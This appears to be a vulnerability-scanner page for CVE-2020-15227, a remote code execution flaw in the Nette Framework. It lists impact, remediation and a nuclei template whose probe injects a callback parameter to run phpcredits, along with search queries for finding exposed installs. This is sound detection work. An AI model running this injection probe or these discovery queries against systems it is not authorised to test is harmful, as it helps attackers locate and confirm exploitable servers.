Nette Framework - Remote Code Execution

criticalseverity

9.8CVSS score

34.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches provided by the Nette Framework to fix the deserialization vulnerability.

How to confirm it

Send: GET {{BaseURL}}/nette.micro/?callback=phpcredits
Positive when: contains "PHP Credits" AND contains in header "Nette Framework"

Run it with nuclei: nuclei -id CVE-2020-15227 -u <target>

The full check

id: CVE-2020-15227

info:
  name: Nette Framework - Remote Code Execution
  author: becivells
  severity: critical
  description: Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by the Nette Framework to fix the deserialization vulnerability.
  reference:
    - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
    - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
    - https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html
    - https://packagist.org/packages/nette/application
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15227
    cwe-id: CWE-94,CWE-74
    epss-score: 0.34424
    epss-percentile: 0.98428
    cpe: cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nette
    product: application
    fofa-query:
      - app="nette-Framework"
      - app="nette-framework"
  tags: cve2020,cve,nette,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nette.micro/?callback=phpcredits"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Credits"

      - type: word
        part: header
        words:
          - "Nette Framework"

References

Use this check only on systems you are authorised to test. Where the data comes from